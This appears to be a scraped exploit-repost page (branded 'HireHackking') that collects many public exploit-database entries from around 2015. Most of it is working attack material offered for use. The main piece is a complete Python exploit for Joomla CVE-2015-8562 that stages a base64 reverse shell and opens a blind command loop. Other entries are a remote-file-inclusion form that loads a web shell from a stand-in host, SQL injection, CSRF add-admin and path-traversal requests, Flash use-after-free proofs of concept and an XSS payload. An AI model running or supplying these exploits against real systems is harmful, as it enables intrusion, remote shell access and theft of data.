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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=591

There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or movie name parameter provided is an object with toString or valueOf defined, this method can free the MovieClip, which is then used. 

A minimal PoC follows:


this.createEmptyMovieClip("mc", 1);

mc.duplicateMovieClip( "mc",{valueOf : func});


function func(){
	
	trace("in func");
	mc.removeMovieClip();

        // Fix heap here

	return 5;
	
	}
	
	
A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39042.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=593

There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal PoC follows:

this.createEmptyMovieClip("mc", 1);
var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
mc.attachBitmap( b, {valueOf : func });

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

        return 5;
	
	}
	


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39040.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=664

There is an overflow in the ui::PlatformCursor WebCursor::GetPlatformCursor method. In src/content/common/cursors/webcursor_aurax11.cc&q=webcursor_aurax11.cc, there is the following code:

bitmap.allocN32Pixels(custom_size_.width(), custom_size_.height());
memcpy(bitmap.getAddr32(0, 0), custom_data_.data(), custom_data_.size());

The bitmap buffer is allocated based on the width and height of the custom_size_, but the memcpy is performed using the size of the custom_data_.

These values are set during WebCursor deserialization in src/content/common/cursors/webcursor.cc in WebCursor::Deserialize.

custom_size_ is set from two integers that a deserialized from a message and can be between 0 and 1024. custom_data_ is set from a vector that is deserialized, and can be any size, unrelated to the width and height. The custom_data_ is verified not to be smaller than the expected pixel buffer based on the width and height, but can be longer.

GetPlatformCursor is called indirectly by RenderWidgetHostImpl::OnSetCursor, which is called in response to a  ViewHostMsg_SetCursor message from the renderer.

The issue above is in the x11 implementation, but it appears also affect other platform-specific implementations other than the Windows one, which instead reads out of bounds.

I recommend this issue be fixed by changing the check in WebCursor::Deserialize:

if (size_x * size_y * 4 > data_len)
    return false;

to

if (size_x * size_y * 4 != data_len)
    return false;

to prevent the issue in all platform-specific implementations.
 
To reproduce the issue replace WebCursor::Serialize with:

bool WebCursor::Serialize(base::Pickle* pickle) const {

  if(type_ == WebCursorInfo::TypeCustom){
  LOG(WARNING) << "IN SERIALIZE\n";
  if (!pickle->WriteInt(type_) ||
      !pickle->WriteInt(hotspot_.x()) ||
      !pickle->WriteInt(hotspot_.y()) ||
      !pickle->WriteInt(2) ||
      !pickle->WriteInt(1) ||
      !pickle->WriteFloat(custom_scale_))
     return false;
   }else{

     if (!pickle->WriteInt(type_) ||
      !pickle->WriteInt(hotspot_.x()) ||
      !pickle->WriteInt(hotspot_.y()) ||
      !pickle->WriteInt(custom_size_.width()) ||
      !pickle->WriteInt(custom_size_.height()) ||
      !pickle->WriteFloat(custom_scale_))
    return false;

  }
  const char* data = NULL;
  if (!custom_data_.empty())
    data = &custom_data_[0];
  if (!pickle->WriteData(data, custom_data_.size()))
    return false;

  return SerializePlatformData(pickle);
}

and visit the attached html page, with the attached image in the same directory.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39039.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=592

There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal POC follows:

this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);


function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

	return 1;
	
	}
	
A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39041.zip
HireHackking 
# Title : PFSense  <= 2.2.5 Directory Traversal
# Date : 18/12/2015
# Author : R-73eN
# Tested on : PFSense 2.2.5
# Software : https://github.com/pfsense/pfsense
# Vendor : https://pfsense.org/
#  ___        __        ____                 _    _  
# |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    
#  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    
#  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ 
# |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|
#
#
# Fix provided by the vendor https://github.com/pfsense/pfsense/commit/3ac0284805ce357552c3ccaeff0a9aadd0c6ea13
#
#


In pfsense <= 2.2.5 (Latest Version) , during a security audit i discovered the following vulnerabilities in the pfsense Webgui.

The following files are vulnerable to a file inclusion attack

wizard.php?xml=
pkg.php?xml=

Both of this files do not sanitize the path of the xml parameter and we can load xml files, and loading a special crafted xml file we can gain command execution.

Example:
1.xml (the filename can be whatever .txt , .jpg etc because it does not check for the file extension)

The content of the 1.xml should be:

<?xml version="1.0" encoding="utf-8" ?>
<pfsensewizard>
<totalsteps>12</totalsteps>
<step>
<id>1</id>
<title>LFI example </title>
<description>Lfi example </description>
<disableheader>on</disableheader>
<stepsubmitphpaction>step1_submitphpaction();</stepsubmitphpaction>
<includefile>/etc/passwd</includefile>
</step>
</pfsensewizard>

the parameter <includefile> is passed to a require_once() function which triggers the File inclusion Attack.
As we all know File inclusion attack can be converted to  RCE  very easily.

Then visiting

http://vulnhost/wizard.php?xml=../../../1.xml

where the "xml" parameter is the path of the crafted file, will trigger the vulnerability.

Thanks
Rio Sherri
https://www.infogen.al/ - Infogen AL
HireHackking 
# Exploit Title: Apache 2.4.17 - Denial of Service
# Date: 17/12/2015
# Exploit Author: rUnVirus [ Ahmed Atif]
# Vendor Homepage: www.apache.org
# Software Link: https://www.apachefriends.org/download.html/
# Version: 5.5.30
# Tested on: windows 7 - XAMPP Version 5.5.30 (Apache 2.4.17 - PHP 5.5.30) 


<?php

$s="<?php

//!*runvirus:start*!";

$s2="!*runvirus:end*! ?>";


 
$shellcode= 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

";
 
$egg = $s.$shellcode.$s2;



$content = preg_replace(
  '%//!\*runvirus:start\*!(.)+!\*runvirus:end\*!%s',
  'test',
  $egg
);

echo 'If you can see this everything seems to be working fine.';

?>
HireHackking 
#!/usr/bin/env python

# Exploit Title: Joomla 1.5 - 3.4.6 Object Injection RCE X-Forwarded-For header
# Date: 12/17/2015
# Exploit Author: original - Gary@ Sec-1 ltd, Modified - Andrew McNicol BreakPoint Labs (@0xcc_labs)
# Vendor Homepage: https://www.joomla.org/
# Software Link: http://joomlacode.org/gf/project/joomla/frs/
# Version: Joomla 1.5 - 3.4.6
# Tested on: Ubuntu 14.04.2 LTS (Joomla! 3.2.1 Stable)
# CVE : CVE-2015-8562


'''
    Joomla 1.5 - 3.4.6 Object Injection RCE - CVE-2015-8562
    PoC for CVE-2015-8562 to spawn a reverse shell or automate RCE

    Original PoC from Gary@ Sec-1 ltd (http://www.sec-1.com): 
    https://www.exploit-db.com/exploits/38977/

    Vulnerability Info, Exploit, Detection:
    https://breakpoint-labs.com/joomla-rce-cve-2015-8562/

    Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" to avoid default logged to access.log

    Usage - Automate Blind RCE:
    python joomla-rce-2-shell.py -t http://192.168.1.139/ --cmd
    $ touch /tmp/newhnewh    

    Usage - Spawn Reverse Shell using Pentestmonkey's Python one-liner and netcat listener on local host:
    python joomla-rce-2-shell.py -t http://192.168.1.139/ -l 192.168.1.119 -p 4444
    [-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://192.168.1.139/
    [-] Uploading python reverse shell with LHOST:192.168.1.119 and LPORT:4444
    <Response [200]>
    [+] Spawning reverse shell....
    <Response [200]>

    Listening on [0.0.0.0] (family 0, port 4444)
    $ python -c "import pty;pty.spawn('/bin/bash')"
    www-data@ubuntu:/$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    www-data@ubuntu:/$ 

'''
    
import requests
import subprocess
import argparse
import sys
import base64
 
# Heavy lifting from PoC author Gary@ Sec-1 ltd (http://www.sec-1.com)
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3', # Change default UA for Requests
    'x-forwarded-for': user_agent   # X-Forwarded-For header instead of UA
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response


def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]

 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template


def main():
    parser = argparse.ArgumentParser(prog='cve-2015-8562.py', description='Automate blind RCE for Joomla vuln CVE-2015-8652')
    parser.add_argument('-t', dest='RHOST', required=True, help='Remote Target Joomla Server')
    parser.add_argument('-l', dest='LHOST', help='specifiy local ip for reverse shell')
    parser.add_argument('-p', dest='LPORT', help='specifiy local port for reverse shell')
    parser.add_argument('--cmd', dest='cmd', action='store_true', help='drop into blind RCE')

    args = parser.parse_args()

    if args.cmd:
        print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "[-] Dropping into shell-like environment to perform blind RCE"
        while True:
            command = raw_input('$ ')
            cmd_str = "system('{}');".format(command)
            pl = generate_payload(cmd_str)
            print get_url(args.RHOST, pl)

    # Spawn Reverse Shell using Netcat listener + Python shell on victim
    elif args.LPORT and args.LPORT:
        connection = "'{}', {}".format(args.LHOST, args.LPORT)

        # pentestmonkey's Python reverse shell one-liner:
        shell_str = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('''+connection+'''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'''
        # Base64 encoded the Python reverse shell as some chars were messing up in the exploit
        encoded_comm = base64.b64encode(shell_str)
        # Stage 1 payload Str
        payload = "echo {} | base64 -d > /tmp/newhnewh.py".format(encoded_comm)
        print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "[-] Uploading python reverse shell with LHOST {} and {}".format(args.LHOST, args.LPORT)
        # Stage 1: Uploads the Python reverse shell to "/tmp/newhnewh.py"
        pl = generate_payload("system('"+payload+"');")
        print get_url(args.RHOST, pl)
        # Spawns Shell listener using netcat on LHOST
        listener = subprocess.Popen(args=["gnome-terminal", "--command=nc -lvp "+args.LPORT])
        print "[+] Spawning reverse shell...."
        # Stage 2: Executes Python reverse shell back to LHOST:LPORT
        pl = generate_payload("system('python /tmp/newhnewh.py');")
        print get_url(args.RHOST, pl)
    else:
        print '[!] missing arguments'
        parser.print_help()


if __name__ == "__main__":
    main()
HireHackking 
<!--
# Title: Ovidentia maillist 4.0 Module Remote File Inclusion Exploit
# Author: bd0rk
# eMail: bd0rk[at]hackermail.com
# Twitter: twitter.com/bd0rk
# Tested on: Ubuntu-Linux
# Google-Dork: n/a-->Not for kiddies!
# Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FModules%2Fmaillist&file=maillist-4-0.zip&idf=794

PoC:

maillist-4-0/programs/mlincl.php line 4
------------------------------------------------------------------------

@include_once $GLOBALS['babInstallPath'].'utilit/registerglobals.php';

------------------------------------------------------------------------
Greetz: GoLd_M(Welcome back bro'!) :), x0r_32, Anonymous, LulzSec

----------------
~~Exploitcode~~
----------------
-->

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<script language="JavaScript">

var a="/maillist-4-0/programs/"
var b="mlincl.php"
var c="?GLOBALS[babInstallPath]="

var shellcode="http://yourshellpath.com/c99.txt?"

function it(){
xpl.action= document.xpl.victim.value+a+b+c+shellcode;xpl.submit();
}
</script>
</head>

<body bgcolor="#FFFFFF">
<p align="middle"><font color="#0000FF"><b>Ovidentia maillist 4.0 Module Remote File Inclusion Exploit</b></font></p>
<form method="post" name="xpl" onSubmit="it();">
    <p align="left">
    <b><font face="Tahoma" size="2"><font color="#FF0000">Usage</font>:http://someone/directory</a></font>
        or
        </font>
        <font face="Tahoma" size="2" color="#000000">http://someone</font><font 
size="2" face="Tahoma"></a> <font size="2">&nbps;--></font></font></b><font 
size="2" face="Tahoma">
        <input type="text" name="someone" size="20";"></p>
<center>
 
</p>
  <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" 
value="reset" name="B2" style="float: left"></p>
</form>
<p><br>
&nbps;</p>
</center>
</body>
 
</html>
HireHackking 
source: https://www.securityfocus.com/bid/65019/info
   
bloofoxCMS is prone to the following security vulnerabilities:
   
1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability
   
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.
   
bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected.
 
VULNERABILITY
##############
/admin/include/inc_settings_editor.php (line 56-69)

// show file
if(isset($_POST["fileurl"])) {
    $fileurl = $_POST["fileurl"];
}
if(isset($_GET["fileurl"])) {
    $fileurl = "../".$_GET["fileurl"];
}

if(file_exists($fileurl)) {
    $filelength = filesize($fileurl);
    $readfile = fopen($fileurl,"r");
    $file = fread($readfile,$filelength);
    fclose($readfile);
}



#########
EXPLOIT
#########

http://localhost/admin/index.php?mode=settings&page=editor&fileurl=config.php
HireHackking 
source: https://www.securityfocus.com/bid/65019/info
  
bloofoxCMS is prone to the following security vulnerabilities:
  
1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability
  
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.
  
bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected. 

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://localhost/admin/index.php?mode=user&action=new">
<input type="hidden" name="username" value="Admin"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="pwdconfirm" value="123456"/>
<input type="hidden" name="3" value="Admin"/>
<input type="hidden" name="blocked" value="0"/>
<input type="hidden" name="deleted" value="0"/>
<input type="hidden" name="status" value="1"/>
<input type="hidden" name="login_page" value="0"/>
<input type="hidden" name="send" value="Add User"/>
</form>
</body>
</html>
HireHackking 
source: https://www.securityfocus.com/bid/65019/info
 
bloofoxCMS is prone to the following security vulnerabilities:
 
1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability
 
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.
 
bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected. 

http://localhost/bloofox/admin/index.php


POST /bloofox/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/bloofox/admin/
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

action=login&password=IPHOBOS&username=\[SQL INJECTION]
HireHackking 
source: https://www.securityfocus.com/bid/65019/info

bloofoxCMS is prone to the following security vulnerabilities:

1. Multiple SQL-injection vulnerabilities
2. Multiple cross-site request forgery vulnerabilities
3. A local file-include vulnerability

Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, obtain sensitive information, execute arbitrary server-side script code or bypass certain security restrictions to perform unauthorized actions.

bloofoxCMS 0.5.0 is vulnerable; other versions may also be affected. 

http://localhost/bloofox/index.php?login=true


POST /bloofox/index.php?login=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/bloofox/index.php?login=true
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

login=Login&password=IPHOBOS&username=\[SQL INJECTION]
HireHackking 
source: https://www.securityfocus.com/bid/64991/info

Sexy polling extension for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Sexy polling 1.0.8 is vulnerable; other versions may also be affected. 

http://www.example.com/components/com_sexypolling/vote.php
POST
answer_id[]=[SQL Injection]
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=533

This PoC triggers a crash on Windows 7 32-bit with Special Pool enabled on win32k.sys. The kernel crashes due to a use-after-free condition with bitmaps in the clipboard.
---

Note that multiple PoC executions and simulated system activity may be required to trigger this issue.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39027.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=534

The attached PoC triggers a null pointer condition on Windows 7 32-bit, which can potentially be exploited on versions of Windows that allow mapping the null page (e.g. Windows 7 32-bit).
---

Note that multiple PoC executions and simulated system activity (such as opening Explorer) may be required to trigger this issue.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39026.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=544

The attached PoC triggers a null pointer vulnerability in OffsetChildren on Windows 7 32-bit. By mapping the null page an attacker can leverage this vulnerability to write to an arbitrary address.
---


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39025.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=558

There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:

this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
var o = {toString: func};
triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);

function func(){
	
	triangle_mc.removeMovieClip();
	return "none";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39021.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=559

There is a use-after-free in the TextField gridFitType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.

A PoC is as follows:

var toptf = this.createEmptyMovieClip("toptf", 1);


function func(){
	
	toptf.removeMovieClip();	
	trace("here");
	return "none";
}

var o = {toString : func};


var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";

var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = "advanced";
my_text1.gridFitType = o;
my_text1.setTextFormat(my_format); 

var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format); 

var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39020.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=557

There are a number of use-after-free vulnerabilities in MovieClip.beginGradientFill. If the spreadMethod or any other string parameter is an object with toString defined, this method can free the MovieClip, which is then used. Note that many parameters to this function can be used to execute script and free the MovieClip during execution, it is recommended that this issues be fixed with a stale pointer check. 

A PoC is as follows:

this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
	
	 colors = [0xFF0000, 0x0000FF];
    fillType = "radial"
    alphas = [100, 100];
    ratios = [0, 0xFF];
	var o = {toString: func};
    spreadMethod = o;
    interpolationMethod = "linearRGB";
    focalPointRatio = 0.9;
    matrix = new Matrix();
    matrix.createGradientBox(100, 100, Math.PI, 0, 0);
    beginGradientFill(fillType, colors, alphas, ratios, matrix, 
        spreadMethod, interpolationMethod, focalPointRatio);
    moveTo(100, 100);
    lineTo(100, 300);
    lineTo(300, 300);
    lineTo(300, 100);
    lineTo(100, 100);
    endFill();
}

bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;

function func(){
	
	trace("in func");
	var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
	trace(test);
	test.removeTextField();
	return "reflect";
	}

A sample swf and fla is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39022.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=560

There is a use-after-free in the TextField antiAliasType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.

A PoC is as follows:

var toptf = this.createEmptyMovieClip("toptf", 1);


function func(){
	
	toptf.removeMovieClip();	
	trace("here");
	return "advanced";
}

var o = {toString : func};


var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";

var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = o;
my_text1.gridFitType = "none";
my_text1.setTextFormat(my_format); 

var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format); 

var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);

A sample fla and swf are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39019.zip
HireHackking 
source: https://www.securityfocus.com/bid/64836/info

Oracle Supply Chain Products Suite is prone to a remote vulnerability in Oracle Demantra Demand Management.

The vulnerability can be exploited over the 'HTTP' protocol. The 'DM Others' sub component is affected.

Attackers can exploit this issue to obtain sensitive information.

This vulnerability affects the following supported versions:
12.2.0, 12.2.1, 12.2.2

POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml
HireHackking 
source: https://www.securityfocus.com/bid/64788/info

The Almond Classifieds Component for Joomla is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

http://127.0.0.1/component/com_aclassfb/photos/
HireHackking 
Advisory ID: HTB23282
Product: Zen Cart
Vendor: Zen Ventures, LLC
Vulnerable Version(s): 1.5.4
Tested Version: 1.5.4
Advisory Publication:  November 25, 2015  [without technical details]
Vendor Notification: November 25, 2015 
Vendor Patch: November 26, 2015 
Public Disclosure: December 16, 2015 
Vulnerability Type: PHP File Inclusion [CWE-98]
CVE Reference: CVE-2015-8352
Risk Level: Critical 
CVSSv3 Base Score: 9.0 [CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered critical vulnerability in a popular e-commerce software Zen Cart, which can be exploited by remote non-authenticated attackers to compromise vulnerable system. A remote unauthenticated attacker might be able to execute arbitrary PHP code on the target system, run arbitrary system commands, gain complete access to application's database and obtain information of all website users.

The vulnerability exists due to absence of filtration of directory traversal sequences in "act" HTTP GET parameter in "/ajax.php" script, when including local PHP files using 'require()' PHP function. A remote unauthenticated attacker can include and execute arbitrary PHP code on the target system with privileges of the web server. 

A simple exploit below will include file "/tmp/file.php" and execute its content:

http://[host]/ajax.php?method=1&act=/../../../../tmp/file


-----------------------------------------------------------------------------------------------

Solution:

Apply vendor's patch.

More Information:
https://www.zen-cart.com/showthread.php?218914-Security-Patches-for-v1-5-4-November-2015

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23282 - https://www.htbridge.com/advisory/HTB23282 - RCE in Zen Cart via Arbitrary File Inclusion
[2] Zen Cart - https://www.zen-cart.com/ - Zen Cart® truly is the art of e-commerce; free, user-friendly, open source shopping cart software.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
HireHackking 
source: https://www.securityfocus.com/bid/64779/info

Atmail Webmail Server is prone to an HTML-injection vulnerability.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Atmail 7.1.3 is vulnerable; others versions may also be affected. 

 <iframe width=0 height=0 src="javascript:alert('xss in main body')">